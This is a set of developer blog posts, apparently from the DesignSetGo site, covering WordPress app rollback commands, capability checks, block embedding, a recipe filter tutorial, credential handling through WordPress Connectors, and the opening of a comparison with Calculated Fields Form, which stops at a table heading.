A plugin update that breaks a WordPress site is a memorable event. You FTP in, you rename `wp-content/plugins/the-bad-plugin`, you go look at your backup, you restore the database from twelve hours ago, you tell the client what happened, you spend the afternoon writing a retro.

A DesignSetGo App update that breaks is not memorable. It is one CLI command and three seconds. You do not even open the browser to confirm; the CLI tells you the rollback succeeded and you move on.

This post is the model that makes that possible. Two principles, three commands, and one mental shift about where state lives.

#### The two principles

**The bundle is immutable. State lives in WordPress.**

A DesignSetGo App is a static bundle: HTML, JavaScript, CSS, the manifest. Every deploy creates a new immutable version of that bundle. The site keeps every version it has ever seen. Switching between versions means pointing the runtime at a different folder; it does not migrate anything.

App *state* (the storage your app uses, the user data, the per-app settings, the WordPress posts the app reads) lives in WordPress. It is shared across versions. Rolling the bundle back to last week’s version does not roll user data back. The bundle is yours; the state is the user’s. Those two things have different lifecycles, and pretending otherwise is the failure mode that makes plugin updates scary.

If you internalize that split, rollback is trivial. If you do not, you will eventually ship a bundle that mutates state in incompatible ways, and the rollback will leave you with stale data the new bundle cannot read. That is a real failure mode and worth a section of its own.

#### The three commands

**`npx designsetgo apps versions list`**

Shows you every version that has ever been deployed for an app on a given site, with timestamps:

```
$ npx designsetgo apps versions list --app=mortgage-calc --site=https://realestate.example
mortgage-calc on realestate.example:
  0.3.0   * (current)   2026-06-02 09:12:14
  0.2.4               2026-05-30 17:08:51
  0.2.3               2026-05-29 11:33:02
  0.2.2               2026-05-28 14:45:19
  0.2.1               2026-05-27 18:22:08
```

By default the site keeps the last 10 versions of each app, with all-time history available behind a flag. The default is configurable in `wp-config.php` if you want more or fewer.

**`npx designsetgo apps rollback <version>`**

Switches the active version to a previous one:

```
$ npx designsetgo apps rollback 0.2.4 --app=mortgage-calc --site=https://realestate.example
Rolling back mortgage-calc on realestate.example from 0.3.0 to 0.2.4...
Done. Version 0.2.4 active in 1.4s.
```

The rollback is instantaneous in any browser tab that loads the app afterward. Open tabs continue serving the old version until reload (because they have already loaded the bundle), which is usually what you want; if you need a hard cutover you can also force a runtime evict with `--evict`.

**`npx designsetgo apps versions promote <version>`**

The inverse of rollback. If you have rolled back to 0.2.4 and want to bring 0.3.0 back without re-deploying:

```
$ npx designsetgo apps versions promote 0.3.0 --app=mortgage-calc --site=https://realestate.example
Promoting mortgage-calc to 0.3.0 on realestate.example...
Done. Version 0.3.0 active in 1.1s.
```

This is the “wait, the new version was fine, I was looking at a stale tab” recovery. Common, and the CLI is built for it.

#### What rollback restores, what it does not

**Restored** (these come from the bundle):

- All HTML, JavaScript, CSS in the bundle.

- The manifest, including permissions and external origins.

- The block name and any block metadata.

- The display modes the app supports.

**Not restored** (these live in WordPress):

- The app’s storage (`dsgo.storage.app.*` keys).

- Per-user storage (`dsgo.storage.user.*` keys).

- WordPress posts the app reads.

- User accounts.

- Connector configurations.

The split exists because state is the *user’s*, not the *bundle’s*. If your customer used the calculator yesterday and saved a quote to per-user storage, rolling back the bundle should not delete that quote. It does not.

This means you have to write your bundle versions to be **state-compatible across versions** in both directions. The new version should be able to read the old version’s storage shape, and the old version (the one you might roll back to) should not be surprised by data the new version wrote.

In practice this looks like:

- **Never delete storage keys in a version, only add.** If you used to store `{quoteV1: {...}}` and now you want `{quoteV2: {...}}`, write both and read from both. Stop writing the old key after a few versions, but never stop reading it.

- **Treat storage as a documented protocol, not an implementation detail.** Versioned read paths, gentle migration. Same hygiene as a database schema.

- **The harness’s [storage migration helper](../BRIDGE-API.md#storage) makes this easier.** It is opt-in and handles the most common “rename a key” and “split a value” patterns.

If you keep that discipline, rollback works the way the CLI promises. If you do not, rollback is fine but the *next* deploy after the rollback might be surprised by data the rolled-back version wrote in shape A while you expected shape B.

#### When you would use this

In normal practice, rollback is the safety net you almost never need. You see “version 0.3.0 deployed” in the CLI, you open the page in a browser, you confirm it looks right, and that is the entire flow.

The cases where rollback earns its keep:

**You shipped a bug and a customer noticed before you did.** Rollback to the previous version while you debug locally. Two seconds. The customer’s session was probably already on the rolled-back version because their tab was open. Reload the page, the bug is gone, ship a fix when you have one.

**A dependency broke.** You upgraded a charting library between 0.2.4 and 0.3.0 and the new version has a render bug at certain screen widths. Roll back to 0.2.4, pin the chart library version, redeploy.

**An agency-wide regression.** You shipped a new version to all 30 client sites and the client portal in [Saturday’s tutorial](/blog/build-an-agency-client-dashboard/) has a layout issue on dark themes. You can roll back across all 30 sites with the same multi-site CLI flags you used to deploy. `npx designsetgo apps rollback 0.2.4 --app=client-portal --sites-from=clients.txt`.

**The customer asked for a feature back.** Sometimes “we removed it in 0.3.0 and three of our biggest customers complained” is the truth. Rollback while you decide whether the right move is a re-add or a config flag.

#### What this does not solve

Rollback is not a replacement for backups. If your app is the only thing reading and writing a particular WordPress option, and a bad version corrupts that option, the rollback does not restore the option. Backups do.

It also does not solve “the customer’s WordPress site is on fire for unrelated reasons.” DesignSetGo Apps run sandboxed; they do not break the site, but they also cannot rescue the site when something else does. Backups still belong in your stack.

What rollback *does* solve: the specific failure mode where an app update breaks the app and you need it un-broken right now. That used to be a 20-minute fire drill. Now it is two seconds and a CLI command.

#### The shorter version

Two principles: bundles are immutable, state lives in WordPress. Three commands: `versions list`, `rollback`, `versions promote`. The discipline you need: write state-compatible across versions, never delete storage keys, treat storage like a protocol.

If you do that, you stop worrying about app updates the way you used to worry about plugin updates.

#### Further reading

- [Per-app, per-user storage](/blog/per-app-per-user-storage/): the deeper tutorial on state (publishes June 9).

- [The GitHub Action: continuous deploy from your repo](/blog/the-github-action-continuous-deploy/): how rollback fits into a CI workflow.

- [CLI reference](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/cli-reference.md) (when it lands): the full command surface.

### Roles and capabilities: the WordPress concepts every app author needs to know

URL: https://designsetgo.dev/blog/roles-and-capabilities-primer/
Published: 2026-06-02 · Nealey

If you build a DesignSetGo App that does anything beyond render a static page, the first WordPress concept you have to internalize is *capabilities*. Not roles. Capabilities. Most developers conflate the two and end up shipping the wrong UI to the wrong user.

This is the primer. What roles are, what capabilities are, why the WordPress ecosystem distinguishes them so carefully, the five capabilities you will use most as an app author, and the gotchas that come up the first month.

If you came from React + Vercel and “auth” means JWTs and a database table called `users`, this is the WordPress mental model you are missing.

#### Roles are nouns. Capabilities are verbs.

A **role** is a label. WordPress ships five: `subscriber`, `contributor`, `author`, `editor`, `administrator`. Multisite adds `super_admin`. Plugins add more: WooCommerce adds `customer` and `shop_manager`. LearnDash adds `group_leader`. Membership plugins add subscription tiers.

A **capability** is a permission to do a thing. `edit_posts`. `publish_posts`. `manage_options`. `delete_users`. `manage_woocommerce`. Capabilities are the actions the system allows.

The relationship: a role contains a bundle of capabilities. The administrator role contains `manage_options`. The editor role contains `edit_others_posts` but not `manage_options`. The subscriber role contains `read` and not much else.

The mental shift: when your app asks “can this user do X?”, the answer is *always* about capabilities, not roles. The role is the bundle. The capability is the actual unit of permission.

#### Why the distinction matters

Three reasons that come up immediately when you ship.

**Custom roles.** Sites add roles all the time. “Membership Tier 2.” “Shop manager.” “Content moderator.” If your app gates on `role === 'editor'`, it breaks on every site with a custom role that should have editor-like permissions. If you gate on `can('edit_posts')`, you do not care which role the site is using.

**Multisite and role-management plugins.** Multisite has its own role layer. Role management plugins (User Role Editor, Members) let admins clone and edit roles. The shape of “what role this user is” is fluid. The shape of “what capabilities they have” is stable.

**Plugin-registered capabilities.** WooCommerce’s `manage_woocommerce` does not belong to a role you can name. It is on `shop_manager` and `administrator`, and on whatever custom roles the site owner added it to. Asking the *role* tells you nothing. Asking the *capability* tells you what you need to know.

The capability is the right unit because it survives role customization, multisite, and the inevitable “wait, why is this user a Subscriber and also a Shop Manager?” conversation.

#### The five capabilities you will actually use

Out of the dozens WordPress ships, these five cover 90% of what app authors check:

**`read`.** Every logged-in user has this. The boring “is the user signed in at all” check. If this returns `true`, you have a `dsgo.user.current()` you can read.

**`edit_posts`.** Can the user write content? True for authors, editors, administrators, and any custom role with editorial permissions. False for subscribers and contributors who have not graduated to authors yet (contributors can write but not publish). Use this for “show the edit pencil” UI.

**`publish_posts`.** Stronger version of `edit_posts`. Authors and above. Use this for “show the publish button.”

**`edit_others_posts`.** Editors and above. The mental model: “is this user a content gatekeeper?” Use this for moderation UIs, content approval flows, and admin-only views in a content app.

**`manage_options`.** Administrators (and super admins). The “you can change site settings” capability. If you are gating an “Admin” tab in your app, this is usually the right one.

You can build most of an app’s permission story with these five. The deeper list is at [wordpress.org/documentation/article/roles-and-capabilities](https://wordpress.org/documentation/article/roles-and-capabilities/), and [Tuesday’s deep dive on `dsgo.user.can()`](/blog/dsgo-user-can-deep-dive/) walks the bridge surface.

#### Plugin-registered capabilities

This is the part most React developers miss the first time.

WordPress capabilities are not a fixed list. Plugins register their own. The site you are building an app for probably has fifty more capabilities than vanilla WordPress, because each installed plugin adds its own.

Examples in the wild:

- **WooCommerce.** `manage_woocommerce`, `view_woocommerce_reports`, `manage_product_terms`, `edit_shop_orders`, `assign_product_terms`.

- **Yoast SEO Premium.** `wpseo_manage_options`, `wpseo_manage_redirects`.

- **LearnDash.** `manage_groups`, `view_groups_reports`.

- **Memberships plugins.** Per-tier capabilities like `view_member_only_content`.

Your app can ask about any of them:

```
const canRunStoreReports = await dsgo.user.can('view_woocommerce_reports');
if (canRunStoreReports) {
  // render the analytics tab
}
```

If WooCommerce is installed and the user has that capability, this returns `true`. If WooCommerce is not installed (or the capability does not exist on the site), it returns `false`. You do not have to detect which plugins are present; the capability check answers both questions in one call.

This is the most powerful thing about the WordPress capability system and the easiest to underuse. Your app can adapt to *whatever the site has installed* without knowing in advance.

#### The gotchas

**Capability name is a string, not a constant.** There is no autocomplete. Typos like `edit_post` (singular) silently return `false` instead of throwing. Cross-reference [the capabilities reference](https://wordpress.org/documentation/article/roles-and-capabilities/) before you ship.

**`current_user_can()` for an object-aware capability needs the object ID.** WordPress has “primitive” capabilities (`edit_posts`) and “meta” capabilities (`edit_post`, singular, takes an ID). The bridge surface accepts both forms: `dsgo.user.can('edit_post', 42)` checks “can this user edit *this specific post*.” Use the meta form when you are gating actions on a specific record (because authors can edit their own posts but not other people’s).

**Subscribers exist and they are not logged out.** A subscriber is a logged-in user with the `read` capability and almost nothing else. Treat “logged in” and “can do things” as different questions. The first is `dsgo.user.current() !== null`. The second is `dsgo.user.can('edit_posts')` or whatever the specific verb is.

**Capabilities can change during a session.** A site admin can promote a user mid-session. Your app should not cache the result of a capability check across long sessions; call it again when the user does something that depends on it. The bridge caches on the WordPress side (current-request) so the calls are cheap.

**The check runs against the visitor’s WordPress session, not your app’s identity.** There is no “app identity.” The app inherits the visitor’s session. If the visitor is logged out, every role-gated capability returns `false`. There is no way around this and you should not want one.

#### How this maps to the bridge

In a DesignSetGo App, three calls cover the entire user/permission surface:

```
// Who is this person?
const user = await dsgo.user.current();
// null if logged out, otherwise { id, name, email, roles, capabilities }

// Can they do this verb?
const canEdit = await dsgo.user.can('edit_posts');

// Can they do this verb on this specific object?
const canEditThisPost = await dsgo.user.can('edit_post', 42);
```

That is the API. The complexity is on the WordPress side, where role-management plugins, multisite, and the constellation of plugin-registered capabilities are doing real work. Your app sits on top and asks questions.

#### The shorter version

Capabilities are verbs. Roles are nouns. Always ask about verbs. The bridge gives you `dsgo.user.can()`. The capability list includes every capability every installed plugin registers, so your app gets WooCommerce-aware, LearnDash-aware, WP Members-aware UI gating for free.

If you internalize this one thing, half the “how do I do auth in this app?” questions disappear.

#### Further reading

- [dsgo.user.can() deep dive](/blog/dsgo-user-can-deep-dive/): the bridge-side tutorial.

- [BRIDGE-API.md §user](/docs/#bridge): the full user surface.

- [WordPress official roles and capabilities reference](https://wordpress.org/documentation/article/roles-and-capabilities/): the canonical list of built-in caps.

### Apps as content: the case for the Gutenberg block as the default embed surface

URL: https://designsetgo.dev/blog/apps-as-content-gutenberg-block/
Published: 2026-06-01 · Nealey

A long-running argument with myself, finally written down.

Most app runtimes for WordPress treat the **standalone page** as the headline surface. You build an app, you deploy it, it renders at `/apps/your-thing/`, you link to that URL from a button somewhere. The block embed (if it exists at all) is a nice secondary option for “if you want to put it inside a post.”

I think that has the priority exactly backwards.

The block embed is not the secondary surface. It is the primary one. The standalone page is the fallback for the cases where the block does not fit.

This post is the argument. It matters because if you are building DesignSetGo Apps and you treat `/apps/{slug}` as the default, you will keep losing the part of the audience the wedge is for.

#### How site owners actually think

I have watched maybe forty people install DesignSetGo and try to use it for the first time. The non-developers (persona P1 in [our personas doc](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/personas.md): site owners, food bloggers, real-estate agents, fitness coaches) all do the same thing.

They install the plugin. They look at the admin menu. They find the apps list. They see a row that says `mortgage-calculator` with a URL like `/apps/mortgage-calculator/`. They click it. They see the calculator at its own URL. They look mildly confused. They go back to the admin and ask the question I keep hearing:

> “How do I put this in a listing?”

The standalone page is not what they want. They want the calculator *inside* the listing, the calculator *inside* the article, the calculator *inside* the product page. Their mental model is not “I have an app, it lives at a URL.” Their mental model is “I have posts and pages. Content goes in them.”

The standalone page is the architect’s surface. The block embed is the writer’s surface.

#### How developers think (and where the bias comes from)

Developers (persona P2, P3) default to standalone surfaces because they come from a world where apps have URLs. Vercel deploys to a URL. A React app routes to URLs. The CLI says “deployed to [https://your-app.example.com](https://your-app.example.com)” and you click it.

That mental model leaks into how we describe the product. “Build an app and deploy it to your WordPress site” sounds, to a developer, like “the app has a URL on the site.” Which is true, but it is also not the wedge.

The wedge is this:

> The calculator on the real-estate listing is part of the listing. The quiz in the blog post is part of the blog post. The product configurator on the WooCommerce product page is part of the product page.

That is what the block embed makes possible. The standalone URL is fine. It is not why anyone bought.

#### Why blocks beat pages on the durability axis

There is also a more boring reason to lead with the block: it is what survives.

If you put your calculator at `/apps/mortgage-calculator/` and link to it from your sidebar, that link rots. Your sidebar gets redesigned. The theme changes. The page slug moves. The standalone URL has no native audience; you have to drive traffic to it.

If you put the same calculator *inside* every relevant listing as a block, it is part of the content. It is in the post body, in the database, in the editor’s UI, in the version history. Six months from now when you change themes, the block is still in the post. When you reorganize the menu, the block does not care. When you do a site search for “mortgage” to remind yourself which posts have the calculator, the search engine sees it because the block renders inline as part of the post body.

The block embed makes the app *part of the content lifecycle*. The standalone page makes the app a separate object the content has to point to.

#### The three display modes, properly ranked

DesignSetGo Apps supports three display modes in the manifest:

```
"display": { "modes": ["block", "page", "admin"], "default": "block" }
```

Lead with `"block"`. Use `"page"` when the app legitimately needs its own URL (a multi-page member portal, a dashboard, a customer login surface, anything that is *the destination* rather than *a section of a destination*). Use `"admin"` when the app is a tool *for the site owner*, not the site visitor.

The defaults in the starter template now ship with `block` first. We caught ourselves shipping `page` first earlier this year and changed it. The order in the array is also the order shown in the install dialog, and we noticed P1 testers reading “page” first and thinking that was the recommended choice.

#### When the standalone page is right

This is the part I do not want to undersell. Some apps *should* live at their own URL.

- **Multi-page portals.** A member dashboard with `/apps/portal/billing`, `/apps/portal/profile`, `/apps/portal/orders` is a real app and wants its own URL space. [Yesterday’s agency client dashboard tutorial](/blog/build-an-agency-client-dashboard/) is exactly this case.

- **Long-running customer surfaces.** A product configurator with deep linking, sharable URLs, and back-button support is a page.

- **Admin tools meant for one persona.** An internal team dashboard is `display.modes: ["admin"]`, not `["block"]`.

- **Apps that are the whole experience.** A multi-page quiz, a course catalog browser, an interactive documentation site.

In each case, ask “is this the page, or is this a section of a page?” If it is the page, ship page mode. If it is a section, ship block mode.

The pricing page on designsetgo.dev itself ([post 27 in the calendar](/blog/the-pricing-page-is-a-dsgo-app/)) is the most interesting case: it is both. The page surface is the user-facing pricing page. The block surface is the embedded plan picker that lives inside other posts (“here is what Plus includes” embedded inside a feature breakdown post). One bundle. Two surfaces. The bundle was always going to be block-first.

#### How this lands in the product

A few decisions we have made that follow from this:

**The block insertor is the install dialog’s natural next step.** After install, the next-step copy is “Open a post to embed this app,” not “Visit the URL.” We changed this in the install confirmation page two weeks ago and the cohort that follows the next-step CTA went up about 30 percent.

**The Gutenberg block’s name uses the app’s display name.** Not a generic “DesignSetGo App” placeholder. If your app is “Mortgage Calculator,” that is what shows in the block picker. Discoverability inside the editor is the path the writer takes.

**The block previews render the actual app, not a placeholder.** In the editor, the writer sees the calculator (or a loading state if the bridge needs real data). They are not picking from a list of named black boxes.

**`/apps/{slug}` is the developer’s URL.** It is what shows up in the CLI output, in the deploy log, in the troubleshooting docs. The writer never has to know it exists. The developer never has to live without it.

#### The shorter version

The block embed is the wedge. The standalone page is the fallback. If you are building a DesignSetGo App today, ship `display.modes: ["block", ...]` first and ask whether you also need a page later.

The mental model: apps as content. Not apps as destinations.

#### Further reading

- [Embedding a DSGo app inside a Gutenberg post](/blog/embedding-a-dsgo-app-inside-a-gutenberg-post/): the original tutorial; this concept post is its strategic complement.

- [Iframe vs inline: picking the right isolation mode](/blog/iframe-vs-inline-picking-the-right-isolation-mode/): the orthogonal axis (block embed can be iframe or inline; the choice affects SEO).

- [WordPress as a runtime](/blog/wordpress-as-a-runtime/): the mental model underneath all of this.

### A recipe filter that actually uses your recipes (food-blogger vertical)

URL: https://designsetgo.dev/blog/recipe-filter-that-uses-your-recipes/
Published: 2026-05-31 · Nealey

Food blogs have a structural problem most WordPress writers learn the hard way. The platform tells you to publish posts and categorize them. The recipe plugins (Tasty Recipes, WP Recipe Maker, Cooked) tell you to use *their* schemas: a custom database table, their own taxonomy, their own admin UI for managing ingredients and meal types. The two worlds rarely agree.

By the time you have 200 recipes, you are double-publishing. The post has the SEO-friendly content, the recipe plugin has the schema markup and the print view. The filter widget on the homepage reads from one of them and ignores the other. Adding a new “gluten-free” tag means editing both.

This post walks the DesignSetGo version. A recipe filter that reads your *posts* and your *tags*, with no separate schema, no separate admin, and no separate truth. You publish a recipe by publishing a post. You tag it “gluten-free” the same way you tag a post. The filter sees what the site sees.

Fits in an afternoon. Twenty minutes if Claude Code is already open.

#### What you are building

A filter UI that lives at `/apps/recipes/` (or embeds inside your “All Recipes” page as a block). It reads:

- Your recipe posts (whichever category or post type you use for them).

- Your tag taxonomy (or a custom `ingredient` taxonomy if you have one).

- Optionally, a custom `meal_type` taxonomy (breakfast, dinner, dessert).

It renders:

- A list of recipes.

- Filter chips for tags.

- A search box.

When the visitor clicks “gluten-free,” the list filters. When they type “lemon,” the list filters again. No page reload, no separate database to keep in sync.

#### Step 1: scaffold

```
npx designsetgo apps init recipe-filter
cd recipe-filter
```

Open in Claude Code. The `CLAUDE.md` in the starter already documents the bridge. Type:

> Build a recipe filter app. Read recent posts from the `recipe` category (or, if the site does not have one, read posts tagged `recipe`). Show them as a grid of cards with featured image, title, and excerpt. Above the grid, render a row of tag chips read from the site’s tag taxonomy, sorted by usage count, top 12. Clicking a chip filters the visible cards to recipes that have that tag. Below the chips, a search box that filters cards by title match. Style it to look like a food blog, not an admin panel.

Claude Code writes the app. The shape is roughly:

```
import { dsgo } from '@designsetgo/app-client';
await dsgo.ready;

// Read recipes (last 100; paginate if you need more).
const recipes = await dsgo.posts.list({
  category: 'recipe',
  per_page: 100,
  _embed: true,  // pulls featured image in the response
});

// Read tags by usage.
const tags = await dsgo.taxonomy.terms({
  taxonomy: 'post_tag',
  orderby: 'count',
  order: 'desc',
  per_page: 12,
});
```

#### Step 2: the manifest

```
{
  "manifest_version": 1,
  "id": "recipe-filter",
  "name": "Recipe Filter",
  "version": "0.1.0",
  "entry": "index.html",
  "isolation": "iframe",
  "display": { "modes": ["page", "block"], "default": "page" },
  "permissions": { "read": ["posts", "taxonomy"], "write": [] },
  "runtime": { "sandbox": "strict", "external_origins": [] }
}
```

Two `read` permissions. `posts` to list recipes. `taxonomy` to read the tag list. Nothing else.

If you have a custom taxonomy (say `ingredient`), declare it in your theme or via a plugin like Custom Post Type UI. The bridge sees whatever taxonomies are registered with `show_in_rest: true`. So `dsgo.taxonomy.terms({ taxonomy: 'ingredient' })` works automatically once you flip that flag.

#### Step 3: deploy

```
npx designsetgo apps deploy
```

App live at `/apps/recipe-filter/`. The “All Recipes” page on your site is now a page that renders your real recipes, your real tags, with your real categorization, and updates the moment you publish a new post.

#### What this beats

The standard food-blog filter widget reads from the recipe plugin’s database. Tasty Recipes has its own ingredient list. WP Recipe Maker has its own categories. The filter widget for the theme has a third schema. If you want a recipe to show up in the filter, you have to remember which of the three holds the ground truth.

The DesignSetGo version reads from *the posts*. There is no second source. If you publish a post in the “recipe” category and tag it “gluten-free,” the filter sees it the moment you publish. If you change the tag, the filter updates. If you unpublish, the filter forgets. The post is the truth.

That also means you can stop double-publishing. The post has the content. The recipe schema markup is a [JSON-LD](https://json-ld.org/) block you can drop in via a separate block (or by a plugin like RankMath that adds it automatically based on the post). The filter on the homepage reads the post. The schema reads the post. Everything reads the post.

You may decide you still want the recipe plugin for its print view and its featured-image-grid block. That is fine. But the *filter* is no longer coupled to it.

#### The deeper version: ingredient-level filtering

The above gets you tag-based filtering. The version food bloggers actually want is ingredient-level: “show me recipes with chicken and lemon and not garlic.”

The path:

- Register a custom taxonomy called `ingredient` (use CPT UI or hand-roll a 12-line plugin).

- Tag every recipe post with its main ingredients.

- Update the filter to read `dsgo.taxonomy.terms({ taxonomy: 'ingredient' })` instead of `post_tag`.

The bridge does not care which taxonomy you query. The UI does not care either; it just renders the chips it gets. Adding ingredient-level filtering is a one-line bridge change.

If you have already been writing recipes for years and want to backfill the ingredient taxonomy, ask Claude. It can read a post’s content, propose ingredients, and let you confirm in batches via a small admin app you build on top of `dsgo.posts.list` and `dsgo.posts.terms.set` (the latter is a Pro write surface, [worth a separate post](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/wp-7-strategy.md)).

#### Embed it inside the “All Recipes” page

The `display.modes: ["page", "block"]` line in the manifest enables both surfaces. Use the `/apps/recipe-filter/` standalone URL during development. When you are happy, edit your “All Recipes” page, add the DesignSetGo block, pick the recipe filter. The filter renders inline. The page stays a real WordPress page with its own URL, breadcrumbs, and SEO content above and below.

The block-embed pattern gets its own [strategic argument tomorrow](/blog/apps-as-content-gutenberg-block/). For this tutorial, the practical version: build the filter as a `page` mode app first, then add `block` mode when you want to drop it inside a post.

#### Where this goes

The recipe filter is the wedge for food bloggers. The deeper version is a “weekly meal planner” that reads your recipes, randomizes a week of meals, generates a shopping list, and lets the visitor save the list to their account. That whole flow is two bridge calls (`dsgo.posts.list`, `dsgo.storage.user.set`) and an AI prompt for the shopping list dedup (`dsgo.ai.prompt`). One bundle. No new plugins.

If you ship a recipe filter using this post, send a screenshot. I want to see one in the wild.

#### Further reading

- [Reading your WordPress taxonomy from an app](/blog/reading-wordpress-taxonomy-from-an-app/): a deeper tutorial on the taxonomy bridge surface (publishes June 10).

- [Apps as content](/blog/apps-as-content-gutenberg-block/): why the Gutenberg block embed is the primary surface, not the standalone page (publishes May 31).

- [BRIDGE-API.md §posts](/docs/#bridge): the full posts/taxonomy surface.

### App secrets, the right way: why DesignSetGo never asks you to paste a key into your source

URL: https://designsetgo.dev/blog/app-secrets-the-right-way/
Published: 2026-05-30 · Nealey

The first onboarding step in most AI plugins on WordPress is the same. A settings page. A box that says “Paste your OpenAI API key here.” A note in small text that says “we store this securely.” A submit button.

DesignSetGo Apps does not have that page. We do not ask for the key, we do not store the key, and the app you build does not see it. This is not an oversight. It is a v1 P0 we built around the architecture WordPress 7.0 shipped this spring.

This post is the short version of why, and a brief tour of the three secret-storage anti-patterns we did *not* implement, with what we did instead.

#### What WordPress 7.0 changed

WordPress 7.0 shipped a [native AI Client](https://make.wordpress.org/core/2026/03/24/introducing-the-ai-client-in-wordpress-7-0/) and a Connector system. Connectors are the part that matters here. A site owner adds an OpenAI Connector (or Anthropic, or Google, or their company’s internal LLM) in **Settings → Connectors**, pastes the key once, and any plugin on the site can request inference through `wp_ai_client()` without ever touching the credential.

The credential lives in WordPress. The model belongs to the site owner. The bill goes to whatever payment method the site owner put on the Connector. Plugins do not hold keys.

A DesignSetGo App calls `dsgo.ai.prompt()`. The bridge routes that call through the site’s configured Connector. The app never sees the key, the runtime never sees the key, and we (the plugin vendor) never see the key.

That is the whole story. The rest of this post is the explanation of why the other three patterns are wrong and what doing them anyway would cost you.

#### Anti-pattern 1: the app holds the key

This is the worst version. The app bundle ships with an `OPENAI_API_KEY` baked into JavaScript. The minute the bundle hits a browser, the key is in `view-source`. The minute it is in `view-source`, it is on a scraper somewhere. The minute it is on a scraper, it is billing your card.

You would not write that on purpose. AI agents will write it for you the first time you let one. “Just paste the key inline” is the path of least resistance and Claude / Cursor / Bolt have all suggested it in the wild when the host environment does not stop them.

DesignSetGo stops them. The starter `CLAUDE.md` says explicitly: never embed credentials in the bundle. The bridge does not surface a “set secret” call. The CLI deploy does not accept environment files that get bundled into the static output. If the agent tries this path, every guardrail in the harness fires.

#### Anti-pattern 2: the plugin holds the key

This is the path most existing AI WordPress plugins took. The plugin ships a settings page, the site owner pastes a key, the plugin stores it in `wp_options` (encrypted or not), and the plugin makes outbound API calls on the user’s behalf.

It works. It also commits you to three things you probably did not plan on.

**Anthropic and OpenAI’s commercial terms care about who is calling.** When a plugin holds the key and orchestrates calls, the plugin vendor is the customer-of-record from the model provider’s perspective in important ways. There are policies about reselling inference, about per-customer separation, about how the keys are used. Plugins built before WP 7.0 are sitting on contracts they may not have read carefully.

**Your margin is illusory.** If you charge a subscription, your costs scale with usage. If a customer’s app does a 50k-token prompt every time it loads, that is on your bill. The mental model of “AI plugin as SaaS” collapses the moment a power user shows up.

**You inherit the security responsibility.** If the key leaks, it leaks from your plugin’s storage. Your incident, your remediation, your trust hit.

WP 7.0’s Connector model takes all three of those off the plugin author’s plate. The key is in WordPress, owned by the site owner, used at the site owner’s expense, under the site owner’s relationship with the model provider. That is the right shape. We did not invent it. We just got out of its way.

#### Anti-pattern 3: the proxy

A clever middle path that some AI plugins took before WP 7.0. The plugin authenticates against a vendor-hosted proxy, and the proxy holds the key and meters the calls. The site owner pastes a vendor-issued token instead of an OpenAI key, and the vendor handles all the upstream contracts.

This is structurally fine and a reasonable answer in a world without Connectors. It is also structurally redundant in a world *with* Connectors. The proxy adds latency, an extra service to run, a per-customer bill the vendor has to model, and a single point of failure. WP 7.0 made the proxy unnecessary by putting the same auth/meter layer in WordPress itself.

The plugins that built proxies before WP 7.0 have to decide in the next twelve months whether to keep operating them. The plugins that did not, because they shipped after WP 7.0 and read the dev note carefully, get a structural simplification for free.

#### What you do instead

In a DesignSetGo App, the AI call is one line:

```
import { dsgo } from '@designsetgo/app-client';

const result = await dsgo.ai.prompt({
  system: "You are a helpful assistant.",
  messages: [{ role: 'user', content: 'Hello.' }],
});
```

No key. No model name (the Connector decides, or you can pass a preference). No `fetch` to an external origin (it goes through the bridge, not the network). No CORS dance.

The bridge:

- Resolves the site’s configured Connector.

- Sends the prompt through it.

- Returns the response.

- Logs usage to the site owner’s WordPress usage dashboard.

If the site does not have a Connector configured, the call fails with a clear error and an admin notice to set one up. If the site has one configured but disabled (the site owner toggled it off for the month), the call also fails clearly. Your app does not crash; it gets a typed error and you can decide what to render.

The full surface lives in [BRIDGE-API.md §ai](/docs/#bridge) and a working example is in [examples/recipe-ranker](/examples/), which builds a content tool that calls the AI bridge half a dozen times in one app.

#### Pro adds, but the principle holds

[The Harness](/blog/the-harness-what-makes-ai-generation-trustworthy/) (in DesignSetGo Apps Pro) does its own inference for code generation. It also runs through Connectors. The Pro upgrade is the harness, not “we hold a key for you.” The same architectural rule applies: we do not store provider credentials.

If you want to plug an internal LLM into a DesignSetGo site, register it as a Connector once in WP settings and every app on that site can use it. No app code changes.

#### The shorter version

We do not hold your API keys. We did not build a proxy. We do not have a settings page that says “paste your OpenAI key here.” WordPress 7.0 made the Connector the right place for credentials, and putting them anywhere else makes the vendor pay for it later.

The feature I am proudest of is the one we did not build.

#### Further reading

- [Why we don’t hold your API keys](/blog/why-we-dont-hold-your-api-keys/): the long-form essay on the commercial-terms angle.

- [The 30k ITPM cliff](/blog/the-30k-itpm-cliff-wordpress-7-ai-connector/): the field report from shipping the Riff harness into Anthropic’s rate limits.

- [docs/wp-7-strategy.md](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/wp-7-strategy.md): the full strategy doc on WP 7.0 and what it changes for plugin authors.

### Calculated Fields Form vs a DesignSetGo App: when each one is the right call

URL: https://designsetgo.dev/blog/calculated-fields-form-vs-designsetgo-app/
Published: 2026-05-29 · Nealey

Calculated Fields Form is the WordPress calculator plugin most people land on first. It has been around for years, it has a free tier, it powers a real percentage of the “estimate my X” widgets on the open web. If your need is “I want a small form with a number coming out the other end,” it is the right answer.

It is also the wrong answer for a surprising number of things people ask it to do.

This post is the honest comparison. Where Calculated Fields Form (CFF for the rest of this post) is the right call. Where a DesignSetGo App is. And the underrated middle case where you should actually use both.

I am writing this as someone whose product competes with one face of CFF. I am also writing it as someone whose product is the wrong choice for the other face of CFF. Both can be true.

#### What each one is

**Calculated Fields Form.** A WordPress plugin that adds a form-building UI to wp-admin. You drag in fields (number, dropdown, checkbox), write a formula in a small expression language, and the result renders inline. The free tier covers the basics. Paid tiers add multi-page forms, conditional logic, integrations, and removal of branding.

**DesignSetGo App.** A sandboxed app bundle (HTML, JavaScript, CSS) that runs inside an iframe on your WordPress site, embeds as a Gutenberg block, and reads your site data through a typed bridge. You build it by vibe-coding (in Claude Code, Cursor, or any AI builder that emits HTML), and ship it with `npx designsetgo apps deploy` or by uploading the HTML file in wp-admin.

The two overlap on “small number-producing widget.” They diverge on everything else.

#### The decision table

